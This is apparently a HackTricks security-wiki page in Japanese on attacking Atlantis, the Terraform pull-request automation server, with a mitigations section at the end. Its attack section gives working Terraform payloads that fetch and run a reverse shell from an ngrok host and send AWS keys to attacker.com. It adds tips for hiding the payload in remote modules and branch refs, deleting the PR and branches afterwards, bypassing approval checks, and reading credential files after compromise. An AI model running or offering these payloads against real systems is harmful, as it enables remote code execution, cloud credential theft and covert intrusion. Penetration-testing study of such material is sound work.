Atlantis Security

htARTE（HackTricks AWS Red Team Expert） でAWSハッキングをゼロからヒーローまで学ぶ！

HackTricksをサポートする他の方法：

• HackTricksで企業を宣伝したい場合やHackTricksをPDFでダウンロードしたい場合は、SUBSCRIPTION PLANSをチェックしてください！

• 公式PEASS＆HackTricksスワッグを入手

• The PEASS Familyを発見し、独占的なNFTsのコレクションを見つける

• Discordグループに参加💬（https://discord.gg/hRep4RUj7f）またはtelegramグループに参加するか、Twitter🐦で私をフォローする@hacktricks_live。

• ハッキングトリックを共有するには、HackTricksとHackTricks CloudのGitHubリポジトリにPRを提出してください。

基本情報

アトランティスは基本的に、gitサーバーからのプルリクエストからterraformを実行するのに役立ちます。

ローカルラボ

1. https://github.com/runatlantis/atlantis/releasesのatlantisリリースページに移動し、適したものをダウンロードします。

2. githubユーザーのリポジトリアクセスを持つパーソナルトークンを作成します

3. ./atlantis testdriveを実行すると、atlantisと通信するために使用できるデモリポジトリが作成されます。

4. 127.0.0.1:4141でWebページにアクセスできます

アトランティスアクセス

Gitサーバーの資格情報

Atlantisは、Github、Gitlab、Bitbucket、Azure DevOpsなど、複数のgitホストをサポートしています。 ただし、これらのプラットフォームのリポジトリにアクセスし、アクションを実行するためには、それらに特権アクセスが付与されている必要があります（少なくとも書き込み権限が必要です）。 ドキュメントでは、これらのプラットフォームにAtlantis専用のユーザーを作成することを推奨していますが、一部の人は個人アカウントを使用するかもしれません。

攻撃者の視点からは、Atlantisアカウントを侵害するのが非常に興味深いでしょう。

Webhooks

AtlantisはオプションでWebhookシークレットを使用して、Gitホストから受信したwebhooksが正当であることを検証します。

これを確認する方法の1つは、リクエストがGitホストのIPからのみ許可されるようにすることですが、より簡単な方法はWebhookシークレットを使用することです。

プライベートなgithubやbitbucketサーバーを使用しない限り、Webhookエンドポイントをインターネットに公開する必要があります。

Atlantisはwebhooksを公開するため、gitサーバーから情報を送信できるかどうかを知ることが興味深いでしょう。

プロバイダーの資格情報

ドキュメントから：

Atlantisは、単純にサーバーで**terraform planとapply**コマンドを実行することでTerraformを実行します。ローカルでTerraformを実行する場合と同様に、Atlantisは特定のプロバイダーの資格情報が必要です。

Atlantisに特定のプロバイダーの資格情報を提供する方法は次のとおりです：

• AtlantisのHelm ChartとAWS Fargate Moduleには、プロバイダーの資格情報を提供するための独自のメカニズムがあります。それぞれのドキュメントを参照してください。

• クラウドでAtlantisを実行している場合、多くのクラウドには、その上で実行されているアプリケーションにクラウドAPIアクセスを提供する方法があります。例：

  • AWS EC2ロール（"EC2 Role"を検索）

  • GCEインスタンスサービスアカウント

• 多くのユーザーは、Atlantisが実行されている場所で環境変数を設定します。例：AWS_ACCESS_KEY

• 他の人は、Atlantisが実行されている場所に必要な構成ファイルを作成します。例：~/.aws/credentials

• HashiCorp Vault Providerを使用してプロバイダーの資格情報を取得します。

Atlantisが実行されているコンテナには、おそらくAtlantisがTerraformを介して管理しているプロバイダー（AWS、GCP、Githubなど）への特権資格情報が含まれている可能性が非常に高いです。

Webページ

デフォルトでは、Atlantisはlocalhostのポート4141でWebページを実行します。このページでは、atlantis applyを有効/無効にしたり、リポジトリの計画ステータスを確認したり、リポジトリをアンロックしたりできます（変更はできないため、あまり役立ちません）。

おそらくインターネットに公開されていないと思われますが、デフォルトではアクセスに資格情報が必要ないようです（必要な場合は、atlantis:atlantisがデフォルトです）。

サーバーの構成

atlantis serverへの構成は、コマンドラインフラグ、環境変数、構成ファイル、またはこれらの組み合わせを使用して指定できます。

• Atlantisサーバーがサポートするフラグのリストはこちら

• こちらで構成オプションを環境変数に変換する方法を見つけることができます。

値は次の順序で選択されます：

1. フラグ

2. 環境変数

3. 構成ファイル

構成には、トークンやパスワードなどの興味深い値が含まれている可能性があることに注意してください。

リポジトリの構成

一部の構成はリポジトリの管理方法に影響を与えます。ただし、各リポジトリには異なる設定が必要な場合があるため、各リポジトリを指定する方法があります。これが優先順位の順序です：

1. リポジトリ/atlantis.ymlファイル。このファイルを使用して、atlantisがリポジトリをどのように処理するかを指定できます。ただし、デフォルトでは、いくつかのキーはフラグを許可しないと指定できません。

2. おそらく、allowed_overridesやallow_custom_workflowsなどのフラグによって許可される必要があります

3. サーバーサイド構成：--repo-configフラグで渡すことができ、各リポジトリの新しい設定を構成するyamlです（正規表現がサポートされています）

4. デフォルトの値

PR Protections

Atlantisは、PRを**approvedするかどうかを他の誰かに指示することができます（ブランチ保護に設定されていなくても）およびmergeable**（ブランチ保護が通過した）applyを実行する前に。セキュリティの観点から、両方のオプションを設定することが推奨されています。

allowed_overridesがTrueの場合、これらの設定は各プロジェクトで/atlantis.ymlファイルによって上書きできます。

Scripts

リポジトリの構成では、ワークフローが実行される前（pre workflow hooks）および後（post workflow hooks）に実行するスクリプトを指定できます。

これらのスクリプトをリポジトリの/atlantis.ymlファイルで指定するオプションはありません。

Workflow

リポジトリの構成（サーバーサイド構成）では、新しいデフォルトワークフローを指定するか、新しいカスタムワークフローを作成することができます。また、生成された新しいものにアクセスできるリポジトリを指定することもできます。 その後、各リポジトリのatlantis.yamlファイルで使用するワークフローを指定できます。

サーバーサイド構成フラグallow_custom_workflowsがTrueに設定されている場合、各リポジトリの**atlantis.yamlファイルでワークフローを指定できます。また、allowed_overridesがworkflowも指定**する必要がある可能性があります。 これにより、そのリポジトリにアクセスできるユーザーに対してAtlantisサーバーでRCEが基本的に提供されます。

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

Conftestポリシーチェック

Atlantisは、サーバーサイドでconftest ポリシーを実行することをサポートしています。このステップを使用する一般的なユースケースには、次のものがあります：

• モジュールのリストの使用を拒否する

• リソースの属性を作成時にアサートする

• 意図しないリソースの削除をキャッチする

• セキュリティリスクの防止（例：セキュアポートを一般公開する）

ドキュメントで構成方法を確認できます。

Atlantisコマンド

ドキュメントには、Atlantisを実行するために使用できるオプションが記載されています。

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

攻撃

攻撃中にこの エラー が発生した場合： Error: Error acquiring the state lock

次のコマンドを実行して修正できます：

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

AtlantisプランRCE - 新しいPRでの構成変更

リポジトリに書き込みアクセス権がある場合、新しいブランチを作成してPRを生成できます。atlantis planを実行できる場合（または自動的に実行される場合があります）、Atlantisサーバー内でRCEを実行できます。

これは、Atlantisが外部データソースを読み込むようにすることで行うことができます。次のようなペイロードをmain.tfファイルに配置するだけです：

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

隠密な攻撃

この攻撃をより隠密に行うために、以下の提案に従うことができます：

• リバースシェルをterraformファイルに直接追加する代わりに、リバースシェルを含む外部リソースを読み込むことができます：

module "not_rev_shell" {
source = "[e-mail]:carlospolop/terraform_external_module_rev_shell//modules"
}

rev shellコードはhttps://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modulesにあります。

• 外部リソースでは、ref機能を使用して、リポジトリ内のterraform rev shellコードをブランチに隠すことができます。例: [e-mail]:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b

• AtlantisをトリガーするためにmasterへのPRを作成する代わりに、2つのブランチ（test1とtest2）を作成し、片方からもう片方へのPRを作成します。攻撃が完了したら、単にPRとブランチを削除してください。

Atlantis plan Secrets Dump

atlantis plan (terraform plan)を実行してterraformで使用されるシークレットをダンプするには、terraformファイルに次のようなものを配置します:

output "dotoken" {
value = nonsensitive(var.do_token)
}

AtlantisによるRCE - 新しいPRでの構成変更

リポジトリに書き込みアクセス権がある場合、新しいブランチを作成してPRを生成できます。atlantis applyを実行できると、Atlantisサーバー内でRCEを実行できます。

ただし、通常はいくつかの保護をバイパスする必要があります:

• Mergeable: この保護がAtlantisに設定されている場合、PRがマージ可能である場合にのみatlantis applyを実行できます（つまり、ブランチ保護をバイパスする必要があります）。

• ブランチ保護のバイパスをチェックしてください。

• Approved: この保護がAtlantisに設定されている場合、他のユーザーがPRを承認する必要があります。その後でatlantis applyを実行できます。

• デフォルトでは、この保護をバイパスするためにGitbotトークンを悪用できます。

local-execを使用した悪意のあるTerraformファイルでterraform applyを実行します。 次のようなペイロードがmain.tfファイルに含まれるようにするだけです:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Terraform Param Injection

前のテクニックの提案に従い、この攻撃をより慎重に実行します。

atlantis planまたはatlantis applyを実行すると、terraformが実行されます。atlantisからterraformにコマンドを渡すことができます。コメントのように:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

カスタムワークフロー

atlantis.yaml ファイルで指定された 悪意のあるカスタムビルドコマンド を実行します。 Atlantis は master のではなく、プルリクエストブランチの atlantis.yaml ファイルを使用します。 この可能性は以前のセクションで言及されました:

サーバーサイド構成 フラグ allow_custom_workflows が True に設定されている場合、各リポジトリの atlantis.yaml ファイルでワークフローを 指定 できます。また、使用されるワークフローを **オーバーライドするために allowed_overrides が workflow も指定されている可能性があります。

これにより、そのリポジトリにアクセスできるユーザーに対して Atlantis サーバーで RCE が提供されます。

# atlantis.yaml
version: 3
projects:
- dir: .
workflow: custom1
workflows:
custom1:
plan:
steps:
- init
- run: my custom plan command
apply:
steps:
- run: my custom apply command

バイパス計画/適用保護

もしサーバーサイド構成のフラグallowed_overridesがapply_requirementsで構成されている場合、リポジトリがそれらをバイパスするために計画/適用保護を変更することが可能です。

repos:
- id: /.*/
apply_requirements: []

PR Hijacking

atlantis plan/apply コマンドを有効なプルリクエストに対してコメントすると、terraform が実行されてしまいます。

さらに、新しいコミットがプッシュされたときにすべての PR を再評価するようにブランチ保護を構成していない場合、誰かが terraform 構成に悪意のある設定（前述のシナリオを確認）を書き込み、atlantis plan/apply を実行して RCE を取得する可能性があります。

これはGithubのブランチ保護の設定です：

Webhook Secret

Webhook シークレットを盗み出すことができたり、Webhook シークレットが使用されていない場合、Atlantis webhook を呼び出してatlantis コマンドを直接実行することができます。

Bitbucket

Bitbucket Cloud はWebhook シークレットをサポートしていません。これにより、攻撃者が Bitbucket からのリクエストを偽装する可能性があります。Bitbucket の IP のみを許可していることを確認してください。

• これは、攻撃者が Bitbucket から送信されたように見えるAtlantis への偽のリクエストを行う可能性があることを意味します。

• --repo-allowlist を指定している場合、それらのリポジトリに関連する偽のリクエストのみを行うことができるため、最大の被害は自分のリポジトリでの plan/apply になります。

• これを防ぐために、Bitbucket の IP アドレスを許可リストに追加してください（Outbound IPv4 addresses を参照）。

Post-Exploitation

サーバーへのアクセスを取得したり、少なくとも LFI を取得した場合、次の興味深い情報を読んでみるべきです：

• /home/atlantis/.git-credentials：VCS アクセス資格情報を含む

• /atlantis-data/atlantis.db：詳細な VCS アクセス資格情報を含む

• /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate：Terraform ステートファイル

• 例：/atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate

• /proc/1/environ：環境変数

• /proc/[2-20]/cmdline：atlantis server のコマンドライン（機密データを含む可能性があります）

Mitigations

Don't Use On Public Repos

セキュリティ対策があっても、誰でも公開リポジトリにコメントできるため、適切なセキュリティ設定がない場合、公開リポジトリで Atlantis を実行することは危険です。

Don't Use --allow-fork-prs

公開リポジトリで実行している場合（お勧めしません、上記参照）、--allow-fork-prs を設定すべきではありません（デフォルトは false）​​。誰でもフォークからリポジトリにプルリクエストを開くことができるためです。

--repo-allowlist

Atlantis は、--repo-allowlist フラグを介して、受け入れるリポジトリの allowlist を指定する必要があります。例：

• 特定のリポジトリ：--repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests

• 組織全体：--repo-allowlist=github.com/runatlantis/*

• GitHub Enterprise インストール内のすべてのリポジトリ：--repo-allowlist=github.yourcompany.com/*

• すべてのリポジトリ：--repo-allowlist=*。保護されたネットワーク内で使用する場合は便利ですが、Webhook シークレットも設定していないと危険です。

このフラグにより、Atlantis インストールが制御できないリポジトリで使用されていないことが確認されます。詳細については atlantis server --help を参照してください。

Protect Terraform Planning

悪意のある Terraform コードを提出する攻撃者が脅威モデルに含まれている場合、terraform apply 承認だけでは不十分であることに注意してください。external データソースを使用するか、悪意のあるプロバイダを指定することで、terraform plan で悪意のあるコードを実行することが可能です。このコードは資格情報を外部に流出させる可能性があります。

これを防ぐためには、次のことができます：

1. Atlantis イメージにプロバイダを組み込み、本番環境での外部通信を拒否する。

2. プロバイダレジストリプロトコルを内部で実装し、公開外部通信を拒否することで、誰がレジストリへの書き込みアクセス権を持っているかを制御します。

3. サーバーサイドのリポジトリ構成の plan ステップを変更して、許可されていないプロバイダやデータソースの使用、または許可されていないユーザーからの PR を検証することができます。この時点で追加の検証を追加することもできます。たとえば、plan を続行する前に PR に「承認」が必要などです。ここで Conftest を使用することができます。

Webhook Secrets

Atlantis は、$ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET 環境変数を介して設定された Webhook シークレットで実行する必要があります。--repo-allowlist フラグが設定されていても、Webhook シークレットがない場合、攻撃者は allowlist されたリポジトリとして Atlantis にリクエストを行うことができます。Webhook シークレットにより、Webhook リクエストが実際に VCS プロバイダ（GitHub または GitLab）から来ていることが保証されます。

Azure DevOps を使用している場合、Webhook シークレットの代わりに基本認証のユーザー名とパスワードを追加してください。

Azure DevOps Basic Authentication

Azure DevOps は、すべての Webhook イベントで基本認証ヘッダーを送信することをサポートしています。Webhook の場所に HTTPS URL を使用する必要があります。

SSL/HTTPS

Webhook シークレットを使用しているがトラフィックが HTTP である場合、Webhook シークレットが盗まれる可能性があります。--ssl-cert-file と --ssl-key-file フラグを使用して SSL/HTTPS を有効にしてください。

Enable Authentication on Atlantis Web Server

Web サービスでの認証を有効にすることを強くお勧めします。--web-basic-auth=true を使用して BasicAuth を有効にし、--web-username=yourUsername と --web-password=yourPassword フラグを使用してユーザー名とパスワードを設定してください。

これらを環境変数として渡すこともできます：ATLANTIS_WEB_BASIC_AUTH=true、ATLANTIS_WEB_USERNAME=yourUsername、ATLANTIS_WEB_PASSWORD=yourPassword。

References

• https://www.runatlantis.io/docs

• https://www.runatlantis.io/docs/provider-credentials.html

Learn AWS hacking from zero to hero with htARTE (HackTricks AWS Red Team Expert)!

Other ways to support HackTricks:

• If you want to see your company advertised in HackTricks or download HackTricks in PDF Check the SUBSCRIPTION PLANS!

• Get the official PEASS & HackTricks swag

• Discover The PEASS Family, our collection of exclusive NFTs

• Join the 💬 Discord group or the telegram group or follow me on Twitter 🐦 @hacktricks_live.

• Share your hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.